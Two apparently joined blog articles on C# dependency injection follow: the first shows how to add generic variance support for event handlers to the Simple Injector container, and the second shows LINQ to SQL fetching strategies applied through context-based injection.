Although the extensibility points of the Simple Injector are fine, adding out of the box support for variance still isn't possible. It is not a limitation of the Simple Injection however; it is the possible variety of application designs that makes it impossible to come with a single solution that works for everybody.

For instance, what should the container do when an unregistered (variant) service type is requested? It should probably go look for a registration that is assignable from that requested type. But what if there are multiple compatible registrations? Should the container throw an exception? Should the container use the registration that is closest in the inheritance hierarchy to the requested type? And what to do when there are multiple types that are just as close? Or should the container return a list of all compatible registrations (possibly wrapped in a composite). And should this behavior hold for all types in the container, should it just be enabled for a set or types, or should the behavior differ per registration?

In the end, it is the application designer / developer that must decide what the correct behavior is, and because of this, it is impossible for a framework to pick the correct behavior. Because of this, I'm not adding such feature to the framework or even the Extensions.dll. But as I said, it is pretty easy to do it yourself, and I will describe how to in the rest of this article.

If you are still reading this, I assume you are one of the few who needs variance support -or- you are (like me) a geek who likes to think about this sort of stuff, just because it is fun :-). Below I'll describe three scenarios that I think are the most common ones to appear when you need to apply variance. Below I'll define an IEventHandler<TEvent> interface with supporting classes that I'll be using as example for the rest of this article.

Event handlers are a good example to show case variance support, because they are likely part of the application design that would benifit from it. Event handlers are used more and more in common architecture. CQRS is good example of an architecture that uses them extensively. When a single event is raised (by a command for instance), it seems reasonable to set up the application in such way that multiple event handlers would trigger that event. But to go a step further, imagine the definition of a CustomerMovedAbroadEvent that inherits from a CustomerMovedEvent. An event handler that handles a CustomerMovedEvent can technically also handle a CustomerMovedAbroadEvent (if it doesn't work, we would be breaking the Liskov substitution principle anyway). Not only would we want to have multiple event handlers to handle a single CustomerMovedEvent event, we also want those same handlers to handle a CustomerMovedAbroadEvent event. For this scenario we need to add contravariance support (or atleast, contravariance will make it much easier to implement this).

The next code snippet shows a CustomerMovedEvent class with two derived classes: CustomerMovedAbroadEvent and SpecialCustomerMovedEvent. For simplicity I removed all properties. These event classes typically contain just data (DTO) and no behavior (separating data and behavior is an important concept when it comes to applying dependency injection). Behavior is defined in event handlers, all implementing the generic IEventHandler<in TEvent> interface. Note the C# 4.0 in keyword in the IEventHandler<in TEvent>. This keyword allows variance (contravariance in this case) support.

// Events
public class CustomerMovedEvent { }

public class CustomerMovedAbroadEvent : CustomerMovedEvent { }

public class SpecialCustomerMovedEvent : CustomerMovedEvent { }

// Generic handler interface
public interface IEventHandler<in TEvent>
{
    void Handle(TEvent e);
}

// Handler implementations
public class CustomerMovedEventHandler
    : IEventHandler<CustomerMovedEvent>
{
    public void Handle(CustomerMovedEvent e) { ... }
}

public class NotifyStaffWhenCustomerMovedEventHandler
    : IEventHandler<CustomerMovedEvent>
{
    public void Handle(CustomerMovedEvent e) { ... }
}

public class CustomerMovedAbroadEventHandler
    : IEventHandler<CustomerMovedAbroadEvent>
{
    public void Handle(CustomerMovedAbroadEvent e) { ... }
} 

The use of the in keyword allows us to write the following (compiling) code:

IEventHandler<CustomerMovedEvent> handler =
    new CustomerMovedEventHandler();

// This next line works because of the 'in' keyword
IEventHandler<CustomerMovedAbroadEvent> handler2 = handler;

handler2.Handle(new CustomerMovedAbroadEvent());

As I explained, event handlers are a good example to show case variance support, because they are a likely part of the application design to need variance support. When raising a single CustomerMovedAbroadEvent event, it seems reasonably to set up the application in such way that all three previously defined event handlers will handle that event.

Letting multiple event handlers handle a single event is perhaps the most likely and also the nicest scenario to implement. So let's start with this one:

Scenario 1

Register multiple implementations of the same service type, and resolving multiple assignable services, wrapped in a composite.

In this scenario we would like to configure the container in such way that when we request a single event handler for an event, it would return us a composite handler that would forward the event to all assignable event handlers, with the possibility of having multiple handlers that share the exact same service type. In other words, with the previously defined event handlers, the following code should lead to the execution of all three event handlers:

var handler = container
    .GetInstance<IEventHandler<CustomerMovedAbroadEvent>>();

handler.Handle(new CustomerMovedAbroadEvent());

Note that the CustomerMovedEventHandler and the NotifyStaffWhenCustomerMovedEventHandler both handle the CustomerMovedEvent event and they are both assignable from IEventHandler<CustomerMovedAbroadEvent>. In other words, because CustomerMovedAbroadEvent inherits from CustomerMovedEvent, both handlers are able to handle a CustomerMovedAbroadEvent. And of course the container's configuration should enable this.

By defining a composite event handler that forwards the event to the wrapped handlers, we will be able to hide this design from the application. Consumers will not have to depend on IEnumerable<IEventHandler<TEvent>>, but can simply depend on IEventHandler<TEvent>, which is of course much more convenient.

As a general advice, you should prevent injecting lists of services into consumers if you can, by wrapping that list in a composite, and inject that composite into consumers. Not wrapping the list in a composite would clutter the application with extra foreach loops. While this doesn't seem bad, the consumers shouldn't care, but worse, when we want to change the way the list of services is handled, we will have to go through the complete application, which is a violation of the DRY principle.

For this to work we need to define the composite. Without the need for any (contra)variance, the simplest way to define such composite, would be something like this:

public sealed class MultipleDispatchEventHandler<TEvent>
    : IEventHandler<TEvent>
{
    private IEnumerable<IEventHandler<TEvent>> handlers;

    public MultipleDispatchEventHandler(
        IEnumerable<IEventHandler<TEvent>> handlers)
    {
        this.handlers = handlers;
    }

    void IEventHandler<TEvent>.Handle(TEvent e)
    {
        foreach (var handler in this.handlers)
        {
            handler.Handle(e);
        }
    }
}

This class takes a dependency on IEnumerable<IEventHandler<TEvent>> and all it does is iterating that collection and calling Handle(e) on each handler in the collection. Note that although it takes a dependency on IEnumerable<IEventHandler<TEvent>>, the rest of the application will be oblivious of the IEnumerable and it can simply take a dependency on IEventHandler<TEvent>. Contravariance will make this class a bit more complex though, but let's get back on that later. Let's first focus on the registration of the event handlers.

The CustomerMovedEventHandler and NotifyStaffWhenCustomerMovedEventHandler share the same interface: IEventHandler<CustomerMovedEvent>. Unlike other IoC containers, the Simple Injector does not allow implicit registration of multiple implementations of the same type. For instance, the following code snippet will fail at runtime:

container.Register<IEventHandler<CustomerMovedEvent>,
    CustomerMovedEventHandler>();
container.Register<IEventHandler<CustomerMovedEvent>,
    NotifyStaffWhenCustomerMovedEventHandler>();

When running this code, it will fail on the second line, because at that point IEventHandler<CustomerMovedEvent> has already been registered. The actual way to do this with the Simple Injector is by using one of the RegisterAll methods (defined in the Extensions.dll), for instance:

container.RegisterAll(typeof(IEventHandler<CustomerMovedEvent>),
    new[]
    {
        typeof(CustomerMovedEventHandler),
        typeof(NotifyStaffWhenCustomerMovedEventHandler)
    });

container.RegisterAll(typeof(IEventHandler<CustomerMovedAbroadEvent>),
    new[] { typeof(CustomerMovedAbroadEventHandler) });

While this works, I personally prefer to use the following -less verbose- generic overload:

container.RegisterAll<IEventHandler<CustomerMovedEvent>>(
    typeof(CustomerMovedEventHandler),
    typeof(NotifyStaffWhenCustomerMovedEventHandler));

container.RegisterAll<IEventHandler<CustomerMovedAbroadEvent>>(
    typeof(CustomerMovedAbroadEventHandler));

These RegisterAll methods actually register a single enumerable that calls back into the container on iteration. The actual types won't get registered themselves, but since they are concrete types, the container will be able to create them anyway. As a side note, the code below shows a simplified (and slower) version of what the RegisterAll method actually is doing under the covers:

var types = new[]
{
    typeof(CustomerMovedEventHandler), 
    typeof(NotifyStaffWhenCustomerMovedEventHandler)
};

container.RegisterSingle<IEnumerable<IEventHandler<CustomerMovedEvent>>>(
    from type in types
    select (IEventHandler<CustomerMovedEvent>)container.GetInstance(type)
);

Although the RegisterAll overloads are pretty easy to grasp, it gets cumbersome when the application has dozens of event handlers. The same can therefore be achieved in a more automated way by doing batch registration:

container.RegisterManyForOpenGeneric(typeof(IEventHandler<>),
    (service, impls) => container.RegisterAll(service, impls),
    AppDomain.CurrentDomain.GetAssemblies());

This registration tells the container to go look for all concrete implementations of the IEventHandler<TEvent> interface in all assemblies of the current App Domain. The other RegisterManyForOpenGeneric overloads that don't take a delegate, directly register the found implementations in the container. Those overloads are however not able to handle service types with multiple registrations (as is the case with the IEventHandler<CustomerMovedEvent>). By supplying a delegate, we inform the container that it should not do the registration itself, but rather delegate that back to the supplied registration callback. For each found service type (in our case IEventHandler<CustomerMovedEvent> and IEventHandler<CustomerMovedAbroadEvent>) the delegate will be called once, and the supplied delegate will call the RegisterAll method to register a collection of the given service type. In the delegate we call the same RegisterAll overload as was done in the first example.

With this configuration, these registrations can be resolved by calling container.GetInstance<IEnumerable<T>>() or by calling container.GetAllInstances<T>() (which is a short cut to GetInstance<IEnumerable<T>>()). A registered collection could also be injected in a constructor that takes an IEnumerable<T>, as we've seen with the MultipleDispatchEventHandler<TEvent>. Constructor injection always has the preference over calling the container directly.

With this configuration in place we can now focus again on the MultipleDispatchEventHandler<TEvent>. Although the earlier implementation of the MultipleDispatchEventHandler<TEvent> works effectively as a composite, it doesn't handle the contravariance that we need for these event handlers. Because it is not feasible to configure the container in such way that assignable implementations are injected too, we can best solve this inside the MultipleDispatchEventHandler's constructor. Here's how to do it:

public sealed class MultipleDispatchEventHandler<TEvent>
    : IEventHandler<TEvent>
{
    private IEnumerable<IEventHandler<TEvent>> handlers;

    public MultipleDispatchEventHandler(Container container)
    {
        var handlersType =
            typeof(IEnumerable<IEventHandler<TEvent>>);

        var handlersCollection = (
            from r in container.GetCurrentRegistrations()
            where handlersType.IsAssignableFrom(r.ServiceType)
            select r.GetInstance())
            .Cast<IEnumerable<IEventHandler<TEvent>>>()
            .ToArray();

        this.handlers =
            from handlers in handlersCollection
            from handler in handlers
            select handler;
    }

    void IEventHandler<TEvent>.Handle(TEvent e)
    {
        foreach (var handler in this.handlers)
        {
            handler.Handle(e);
        }
    }
}

The code in the constructor isn't that hard to grasp, but it probably still needs some explanation. Instead of injecting an IEnumerable<IEventHandler<TEvent>> we now inject the container itself. The MultipleDispatchEventHandler constructor iterates over all registrations in the container and gets all registrations where IEnumerable<IEventHandler<TEvent>> is assignable from the registration's service type. Remember that we registered the handlers using IEnumerable<T>. Although the application contains three event handlers, they are contained in two IEnumerable<IEventHandler<TEvent>> registrations.

The query results in a collection of event handler collections (a collection per registration). Calling ToArray() on the query triggers the immediate execution of that query, which prevents the list of registrations to be evaluated every time that collection is iterated (which will maximize performance). Leaving the elements of the array enumerables (instead of arrays) however, allows the event handlers to be lazily requested, which preserves their lifestyle (which is transient in the current configuration). This allows us to register the MultipleDispatchEventHandler as singleton. This will again maximize performance.

Note that because the MultipleDispatchEventHandler contains registration logic, it is clearly part of the Composition Root; the startup path of the application. Do not place this class inside the application, because this will force the application to have a dependency on the IoC container, which is bad practice.

The only thing missing now is the registration of the MultipleDispatchEventHandler itself, which is a simple one-liner:

container.RegisterSingleOpenGeneric(typeof(IEventHandler<>),
    typeof(MultipleDispatchEventHandler<>));

With this in place we now have completed our first scenario.

Scenario 2

Register a single implementation of a service type, and resolve a single instance.

In this scenario we want to configure the container in such way that when we request a single event handler for a particular event, it would return the single registered instance for that event, or is case it doesn't exist, return a compatible registered event handler.

Note: Although this scenario is perhaps a bit less likely for the example using event handlers, but it is still a realistic one, and Autofac partially supports this scenario out of the box.

Because there is a one-to-one mapping between the registered service type and the implementation, we can use the 'normal' way of registering event handlers:

container.Register<IEventHandler<CustomerMovedEvent>,
    CustomerMovedEventHandler>();
container.Register<IEventHandler<CustomerMovedAbroadEvent>,
    CustomerMovedAbroadEventHandler>();

And of course we can achieve the same using batch registration:

container.RegisterManyForOpenGeneric(typeof(IEventHandler<>),
    typeof(IEventHandler<>).Assembly);

Note that the NotifyStaffWhenCustomerMovedEventHandler is not included, since this scenario implies a single implementation per handler type, but that handler shares the same interface with the CustomerMovedEventHandler.

With this configuration we can of course resolve an IEventHandler<CustomerMovedEvent> without trouble, but resolving an IEventHandler<SpecialCustomerMovedEvent>  will fail with an ActivationException. What's missing is the resolution of unresolved types. We can do this by hooking onto the ResolveUnregisteredType event of the Container class, just as the RegisterOpenGeneric and RegisterSingleOpenGeneric extension methods of the SimpleInjector.Extensions.dll do internally.

We can for instance define a single extension method that allows mapping a missing type to an assignable type:

public static void AllowToResolveVariantTypes(
    this Container container)
{
    container.ResolveUnregisteredType += (sender, e) =>
    {
        Type serviceType = e.UnregisteredServiceType;

        if (!serviceType.IsGenericType)
        {
            return;
        }

        Type def = serviceType.GetGenericTypeDefinition();

        var registrations = (
            from r in container.GetCurrentRegistrations()
            where r.ServiceType.IsGenericType
            where r.ServiceType.GetGenericTypeDefinition() == def
            where serviceType.IsAssignableFrom(r.ServiceType)
            select r)
            .ToArray();            
            
        if (!registrations.Any())
        {
            // No registration found. We're done.
        }
        else if (registrations.Length == 1)
        {
            var registration = registrations[0];
            e.Register(registration.BuildExpression());
        }
        else
        {
            var names = string.Join(", ", registrations
                .Select(r => string.Format("{0}", r.ServiceType)));

            throw new ActivationException(string.Format(
                "It is impossible to resolve type {0}, because " +
                "there are {1} registrations that are " +
                "applicable. Ambiguous registrations: {2}.",
                serviceType, registrations.Length, names));
        }
    };
}

This extension method registers a delegate to the container's ResolveUnregisteredType event. Every time an unregistered type is requested from the container, the container will first call the ResolveUnregisteredType to get a resolution for that type, before it will try to create that type itself. The delegate is supplied with an UnregisteredTypeEventArgs that contains a Register(Expression) method, which allows to register type. The delegate doesn't have to call the Register method, and that is what happens in this extension method; If the UnregisteredServiceType is not generic, the delegate returns immediately, which allows other registered delegates (if any) to respond by registering a Expression for that service type.

The registered delegate will query the container for assignable registrations, much like we've seen in the first scenario. When no assignable service type is found in the container, the delegate returns. Otherwise it maps the found registration to the unregistered service type (making that unregistered type effectively registered). In case there are multiple assignable registrations, an exception is thrown. In that case there is obviously some ambiguity in the registration. Of course we could try to be smarter than this, and try to resolve this ambiguity. Throwing however is the simplest thing to do :-).

What's nice about this, is that it works for both covariant (out) and contravariant (in) types (both for generic interfaces and generic delegates) and even for types with a mixture of in and out arguments (such as Func<in T, out TResult>). The reason this works is because we make use of the .NET 4.0 Type.IsAssignableFrom method, which has built-in support for variance. Compare that to Autofac for instance where support is limited to interfaces that just contain a single in type argument (out is not supported). Not to pick on Autofac btw. It is the only container that has out-of-the-box support for variance.

Please note that although there is an obvious performance hit when an unregistered type is resolved this way, the penalty is one-time. The registration is cached, and although the container does not guarantee the delegate to be called just once, in normal cases it will be called just a single time. (however, you will have to make sure the delegate hooked to the ResolveUnregisteredType event is thread-safe, but in most cases this is a no-brainer).

With this extension method in place, we can add variance support to the container like this:

container.AllowToResolveVariantTypes();

With the previous registration we can now resolve the following type, even though it wasn't registered explicitly:

var handler =
    container.GetInstance<IEventHandler<SpecialCustomerMovedEvent>>();

Assert.IsInstanceOfType(handler, typeof(CustomerMovedEventHandler));

Scenario 3

Register a single implementation for some service type, and resolve multiple assignable services.

This scenario is a mix between scenario 1 and scenario 2. As with the second scenario we have just a single implementation for each service type, but want to resolve all compatible handlers for a given event, just as with scenario 1.

We can for instance register the two event handlers the same way as we did in the previous scenario:

container.Register<IEventHandler<CustomerMovedEvent>,
    CustomerMovedEventHandler>();
container.Register<IEventHandler<CustomerMovedAbroadEvent>,
    CustomerMovedAbroadEventHandler>();

When we wrap this in a composite, we get a solution that looks very much like the first scenario. The MultipleDispatchEventHandler would look as follows:

public sealed class MultipleDispatchEventHandler<TEvent>
    : IEventHandler<TEvent>
{
    private IEnumerable<IEventHandler<TEvent>> handlers;

    public MultipleDispatchEventHandler(Container container)
    {
        var handlerType = typeof(IEventHandler<TEvent>);

        var registrations = (
            from r in container.GetCurrentRegistrations()
            where handlerType.IsAssignableFrom(r.ServiceType)
            select r)
            .ToArray();

        this.handlers =
            from r in registrations
            select (IEventHandler<TEvent>)r.GetInstance();
    }

    void IEventHandler<TEvent>.Handle(TEvent e) { ... }
}

However, there is a problem with this, that you will notice when trying to resolve this composite. Registering open generic types (using the RegisterOpenGeneric or RegisterSingleOpenGeneric) works by hooking onto the container's ResolveUnregisteredType event, which will only get called for unregistered types. We did however already register an IEventHandler<CustomerMovedEvent> and an IEventHandler<CustomerMovedAbroadEvent>. Resolving those handlers will therefore result in the return of a CustomerMovedEventHandler and CustomerMovedAbroadEventHandler respectively. All other IEventHandler<TEvent> versions will result in the return of the MultipleDispatchEventHandler. Of course, this is not what we want.

We can fix this by registering the concrete types explicitly:

container.Register<CustomerMovedEventHandler>();
container.Register<CustomerMovedAbroadEventHandler>();

Or of course using batch registration:

container.RegisterManyForOpenGeneric(typeof(IEventHandler<>),
    (service, impls) => container.Register(impls.Single()),
    AppDomain.CurrentDomain.GetAssemblies());

The supplied registration callback in the RegisterManyForOpenGeneric method simply calls the non-generic Register method overload, and because there is only one implementation per service type, we can call impls.Single(). In case there were more implementations, we could simply do something like this:

container.RegisterManyForOpenGeneric(typeof(IEventHandler<>),
    (_, impls) => impls.ToList().ForEach(i => container.Register(i)),
    AppDomain.CurrentDomain.GetAssemblies());

Now we have to ensure that the MultipleDispatchEventHandler queries for these concrete types:

public sealed class MultipleDispatchEventHandler<TEvent>
    : IEventHandler<TEvent>
{
    private IEnumerable<IEventHandler<TEvent>> handlers;

    public MultipleDispatchEventHandler(Container container)
    {
        var handlerType = typeof(IEventHandler<TEvent>);

        var registrations = (
            from r in container.GetCurrentRegistrations()
            let assignableInterfaces = (
                from intface in r.ServiceType.GetInterfaces()
                where handlerType.IsAssignableFrom(intface)
                select intface)
            where assignableInterfaces.Any()
            select r)
            .ToArray();

        this.handlers =
            from r in registrations
            select (IEventHandler<TEvent>)r.GetInstance();
    }

    void IEventHandler<TEvent>.Handle(TEvent e) { ... }
}

Instead of querying the container for IEventHandler<TEvent> registrations, we query the container for service types that implement the IEventHandler<TEvent> interface.

With this we successfully finished this third scenario. However, in the name of science, let's take a look at a different approach, using unregistered type resolution. Just as we did with the second scenario, we can use unregistered type resolution. Take a look at the following extension method:

public static void AllowToResolveVariantCollections(
    this Container container)
{
    container.ResolveUnregisteredType += (sender, e) =>
    {
        // Only handle IEnumerable<T>.
        if (!e.UnregisteredServiceType.IsGenericType || 
            e.UnregisteredServiceType.GetGenericTypeDefinition() != 
                typeof(IEnumerable<>))
        {
            return;
        }

        Type serviceType = 
            e.UnregisteredServiceType.GetGenericArguments()[0];

        if (!serviceType.IsGenericType)
        {
            return;
        }

        Type def = serviceType.GetGenericTypeDefinition();

        var registrations = (
            from r in container.GetCurrentRegistrations()
            where r.ServiceType.IsGenericType
            where r.ServiceType.GetGenericTypeDefinition() == def
            where serviceType.IsAssignableFrom(r.ServiceType)
            select r)
            .ToArray();
        
        if (registrations.Any())
        {
            var instances =
                registrations.Select(r => r.GetInstance());

            var castMethod = typeof(Enumerable).GetMethod("Cast")
                .MakeGenericMethod(serviceType);

            var castedInstances =
                castMethod.Invoke(null, new[] { instances });

            e.Register(() => castedInstances);
        }
    };
}

This extension method looks much like the extension method we've seen in the second scenario, with a few differences. First of all, this extension method handles IEnumerable<T> types. Just like before it searches the container for assignable types, but if they are found, an IEnumerable<T> is constructed that will return all found services.

We can use this extension method as follows:

container.AllowToResolveVariantCollections();

With the current configuration we can now request an IEnumerable<IEventHandler<TEvent>> and get all assignable implementations:

var handlers = container
    .GetAllInstances<IEventHandler<CustomerMovedAbroadEvent>>();

This will result in a list that contains both the CustomerMovedEventHandler and CustomerMovedAbroadEventHandler.

As you can see there are many ways to skin a cat. If your scenario is (slightly) different from what we've discussed and you are experiencing some difficulties in finding a good solution, please drop me a note, or ask at Stackoverflow (don't forget to tag your question with 'simple-injector').

That's all for now.

Happy injecting!

One of the short comes noted at the end of the article is that optimizing the code is harder. In fact this is only partly true, because when you have mastered the art of writing good LINQ queries, you’ll notice that many performance problems can be fixed with it (including little neat tricks such as Damien’s Include extension method). On the other hand, because LINQ statements tend to be written on a higher level of abstraction, our O/RM tool sometimes transforms them poorly to SQL. I had to deal with this a lot the last couple of months. Sometimes a single let statement was the difference between a tunable SQL query and an hideous performance hog.

However, because we are hiding our O/RM tool behind an abstraction, it obviously gets harder to do O/RM specific optimizations. Or at least, there is no way to do this at the same place as we were used to. Think about how for instance LINQ to SQL contains the DataLoadOptions class that allows us to inform LINQ to SQL to do fetch related entities in advance. Most modern O/RM tools have similar options to configure loading behavior.

The chosen design forces us to write these optimizations in a different way, which gives us the opportunity to come with a flexible design that follows the SOLID design principles. For instance by applying Udi Dahan’s Fetching Strategies.

The idea behind Udi’s Fetching Strategies is to define specific classes that describe O/RM specific optimizations for a single service. The class is therefore very focused (Single Responsibility Principle), and new optimizations can be plugged in easily (Open-Closed Principle), without the need to change any other part of the system. Because these optimizations are O/RM specific, you want to separate them from the services that they optimize. Those services contain the core logic of the application, working against an abstraction, while the strategies themselves are an implementation detail. These strategies could easily be located in a different assembly or even in the composition root of the application.

While the goal of the IUnitOfWorkFactory was to hide the O/RM tool, the interface for applying optimizations does not try to hide the O/RM at all. On the contrary: the interface will be defined for a specific O/RM. For LINQ to SQL the interface might look like this:

public interface IFetchingStrategy<TService>
{
    void Prepare(DataLoadOptions loadOptions);
}

Say for instance that our system contains a MoveCustomerCommand that gets processed by a MoveCustomerCommandHandler (see an example of a command and a handler in my previous article). In that case we could define a MoveCustomerHandlerFetchingStrategy that changes the default loading behavior of the DataContext class when the MoveCustomerCommandHandler requests a new context:

public sealed class MoveCustomerHandlerFetchingStrategy
    : IFetchingStrategy<MoveCustomerCommandHandler>
{
    public void Prepare(DataLoadOptions loadOptions)
    {
        loadOptions.LoadWith<Customer>(c => c.Orders);
    }
}

This fetching strategy just tells the LINQ to SQL DataLoadOptions instance that for each customer that it loads from the database, it should load all its orders in the same SQL query.

It might seem that this approach gives a lot of overhead, but don’t forget that we would probably just end up with a dozen of fetching strategy classes, because we would only add a new strategy when we’ve got a performance problem.

Defining the interface and a concrete strategy is the easy part. Now we must ensure that fetching strategies get applied on the service they relate to. There are several ways to do this. A naïve approach would be to inject a fetching strategy directly into the particular service. This will unfortunately break the abstraction. Here is an example:

public class MoveCustomerCommandHandler
    : ICommandHandler<MoveCustomerCommand>
{
    private IFetchingStrategy<MoveCustomerCommandHandler> strategy;
    private IUnitOfWorkFactory<NorthwindUnitOfWork> factory;

    public MoveCustomerCommandHandler(
        IFetchingStrategy<MoveCustomerCommandHandler> strategy,
        IUnitOfWorkFactory<NorthwindUnitOfWork> factory)
    {
        this.strategy = strategy;
        this.factory = factory;
    }

    public void Handle(MoveCustomerCommand command)
    {
        using (var context = this.factory.CreateNew())
        {
            var options = new System.Data.Linq.DataLoadOptions();

            this.strategy.Prepare(options);

            // Set the options to the L2S DataContext here.

            // Business logic
        }
    }
}

There are a few problems with this approach. First of all, this is still too much code for something that should work transparently in the background. Besides this (or perhaps even because of this) it is easy to forget about preparing the context with a fetching strategy and in that case, we would end up having to change the class to add this when we need the performance optimization. This would therefore break with the Open-Closed principle. But more importantly, this couples our business logic to a specific O/RM framework (LINQ to SQL in this case), which was the thing that we tried to prevent in the first place. In other words, this is not the way to go.

It would be better to let the unit of work factory handle preparing the context itself. It is the specific unit of work factory implementation that knows about the used O/RM technology and has a reference to the DataContext class. The question now becomes: how do we let the factory know how it should prepare the DataContext?

The easiest way to do this, would be to pass the type of our current service on to the factory. This can be done as follows:

    public MoveCustomerCommandHandler(
        IUnitOfWorkFactory<NorthwindUnitOfWork> factory)
    {
        this.factory = factory;
    }

    public void Handle(MoveCustomerCommand command)
    {
        // Here we pass the ‘this’ argument to the CreateNew.
        using (var context = this.factory.CreateNew(this))
        {
             // Business logic
        }
    }

For this to work we need to change the definition of the IUnitOfWorkFactory<TUnitOfWork> interface to the following:

public interface IUnitOfWorkFactory<TUnitOfWork>
{
    TUnitOfWork CreateNew<TService>(TService service);
}

A particular implementation could then look like this:

// This is a LINQ to SQL specific implementation.
public sealed class NorthwindUnitOfWorkFactory
    : IUnitOfWorkFactory<NorthwindUnitOfWork>
{
    private static MappingSource Source = 
        new AttributeMappingSource();

    // A reference to the application’s DI container.
    private readonly Container container;
    private readonly string conStr;

    public NorthwindUnitOfWorkFactory(Container container, 
        string conStr)
    {
        this.container = container;
        this.conStr = conStr;
    }

    public NorthwindUnitOfWork CreateNew<TService>(TService service)
    {
        var db = new DataContext(this.conStr, Source);

        this.Prepare<TService>(db);

        var mapper = new LinqToSqlDataMapper(db);

        return new NorthwindUnitOfWork(mapper);
    }

    private void Prepare<TService>(DataContext db)
    {
        // Get a strategy for the correct type from the container.
        var fetchingStrategy = 
            this.container.GetInstance<IFetchingStrategy<TService>>();

        var loadOptions = new DataLoadOptions();

        fetchingStrategy.Prepare(loadOptions);

        // Register the load options to the DataContext.
        db.LoadOptions = loadOptions;
    }
}

Nice about this approach is that it is pretty easy to implement and easy to grasp. Downside is that there is now some sort of wart in our code, that instantly seems less clean. Why should we pass on the service itself onto the factory? I rather inject a factory into the service that already knows how to do the proper preparation. For this to work however, we need context based injection.

Context based dependency injection is the ability to base the decision about what to inject on the context in which the dependency is injected. In our case it would be useful to make the decision based on the type the dependency is injected in. In other words, we base the actual factory type on the type of the service in which we inject that factory. Defining a generic factory allows us to specify the service type we need:

public sealed class FetchingNorthwindUnitOfWorkFactory<TService>
    : IUnitOfWorkFactory<NorthwindUnitOfWork>
{
    private IFetchingStrategy<TService> fetchingStrategy;
    private IUnitOfWorkFactory<NorthwindUnitOfWork> realFactory;

    public FetchingNorthwindUnitOfWorkFactory(
        IFetchingStrategy<TService> fetchingStrategy,
        IUnitOfWorkFactory<NorthwindUnitOfWork> realFactory)
    {
        this.fetchingStrategy = fetchingStrategy;
        this.realFactory = realFactory;
    }

    public NorthwindUnitOfWork CreateNew()
    {
        var unitOfWork = this.realFactory.CreateNew();

        this.Prepare(unitOfWork.Mapper);

        return unitOfWork;
    }

    private void Prepare(IDataMapper mapper)
    {
        var loadOptions = new DataLoadOptions();

        this.fetchingStrategy.Prepare(loadOptions);

        var dataMapper = (LinqToSqlDataMapper)mapper;

        dataMapper.Context.LoadOptions = loadOptions;
    }
}

This factory is a generic type and depends on an IFetchingStrategy<TService> where the generic type of that strategy is the same as that of the factory. By requesting a factory from the DI container for a specific service, it would be loaded with the fetching strategy that is specific for the given service.

Also note how this factory wraps another factory; the factory that actually creates the context (see part 1 for the code for that factory). Besides adhering to the Open-Closed Pinciple (OCP), this allows us to inject the ‘normal’ factory for groups of types that never have any strategy defined for them, while injecting this factory for groups of types that do. Also note how the factory itself is clean of the container itself, which makes it easier to test it.

Warning: I’m trying to keep things simple. Although the previous class adherers to the OCP, it breaks the Liskov Substitution Principle.

Now we need context based injection to inject the correct instance into a service that depends on an IUnitOfWorkFactory<NorthwindUnitOfWork>. Context based injection however, is an advanced feature that not all DI containers natively support. Containers such as Autofac and my own Simple Injector, lack this feature. This doesn’t mean however that it is impossible to do such things with these containers. On the contrary; The way to achieve this is by breaking the dependency chain and moving from constructor injection to property injection and moving that property to a non-generic base class. Downside of this is that it forces us to add a base class, but on the plus side it keeps our registration fairly clean and works with most DI containers (and is therefore a good example for this blog post).

We can for instance define a non-generic base class that all command handlers should inherit from.

public abstract class CommandHandlerBase
{
    public IUnitOfWorkFactory<NorthwindUnitOfWork> Factory { get; set; }
}

The MoveCustomerCommandHandler that we’ve seen earlier will now have to inherit from CommandHandlerBase:

public class MoveCustomerCommandHandler : CommandHandlerBase,
    ICommandHandler<MoveCustomerCommand>
{
    public void Handle(MoveCustomerCommand command)
    {
        using (var context = this.Factory.CreateNew())
        {
            // Business logic
        }
    }
}

What’s left is the registration of the DI container. Here is an example of how to do this with the Simple Injector:

container.RegisterInitializer<CommandHandlerBase>(handler =>
{
    var type = typeof(FetchingNorthwindUnitOfWorkFactory<>)
        .MakeGenericType(handler.GetType());

    handler.Factory = (IUnitOfWorkFactory<NorthwindUnitOfWork>)
        container.GetInstance(type);
});

This code registers an event that will be called every time an instance that derives from CommandHandlerBase is created by the container. Based on the actual type of that instance, we determine the type of the FetchingNorthwindUnitOfWorkFactory<T>, request that from the container, and inject it into the property of the base type.

This type of registration works with almost all modern DI containers. As far as I see, the only container that does not support this is Microsoft Unity. The only way I can think of to solve this with Unity is by calling a static instance of the container from within the CommandHandlerBase class; yuck! If anyone knows a better way, please let me know. I will update the article.

The Simple Injector however, does contain some interesting extension points that allow to add features such as context based injection. The Simple Injector documentation contains a section about context based injection and describes a RegisterWithContext extension method. When using this method you can remove the CommandHandlerBase class and return to injecting a IUnitOfWorkFactory<NorthwindUnitOfWork> into the constructor of your services. Instead of registering an initializer for the CommandHandlerBase, we can simply register the IUnitOfWorkFactory<NorthwindUnitOfWork> using the RegisterWithContext extension method:

container.RegisterWithContext<IUnitOfWorkFactory<NorthwindUnitOfWork>>(
    context =>
    {
        var type = typeof(FetchingNorthwindUnitOfWorkFactory<>)
            .MakeGenericType(context.ImplementationType);

        return (IUnitOfWorkFactory<NorthwindUnitOfWork>)
            container.GetInstance(type);
    });

The code looks much like the previous RegisterInitializer registration, but now uses the supplied context to get the ImplementationType.

Please note that this code is specific to the Simple Injector, and it might be difficult to translate it to another container.

The FetchingNorthwindUnitOfWorkFactory<T> class depends on a IFetchingStrategy<TService>, so of course we must also register the fetching strategies:

container.RegisterManyForOpenGeneric(typeof(IFetchingStrategy<>),
    AppDomain.CurrentDomain.GetAssemblies());

This searches through all assemblies in the current AppDomain looking for concrete types that implement a closed generic version of the IFetchingStrategy<TService> interface and registers them by that interface. This type of registration is called batch registration. Because however, most services will not have any fetching strategy class defined for them, we must register a fallback implementation for those:

container.RegisterOpenGeneric(typeof(IFetchingStrategy<>), 
    typeof(NullFetchingStrategy<>));

The NullFetchingStrategy<TService> is an implementation of the Null Object Pattern, which is of course trivial. I won’t bore you with that. This registration will return a new instance of NullFetchingStrategy<TService> when a IFetchingStrategy<TService> is requested. Note that the batch registrations done with RegisterManyForOpenGeneric will always preceed these registrations.

If you are interested in applying this idea in your application, but don’t know how to do this with the DI container you currently use in your application; take a look at the Simple Injector migration guide. It shows you how to rewrite all the above registration snippets in the container of your choice.

Short comes

While part one of this series described a model that allowed to work with multiple data sources and even multiple O/RM technologies side-by-side, I left that out of this part. Adding that wouldn’t be that difficult, though.

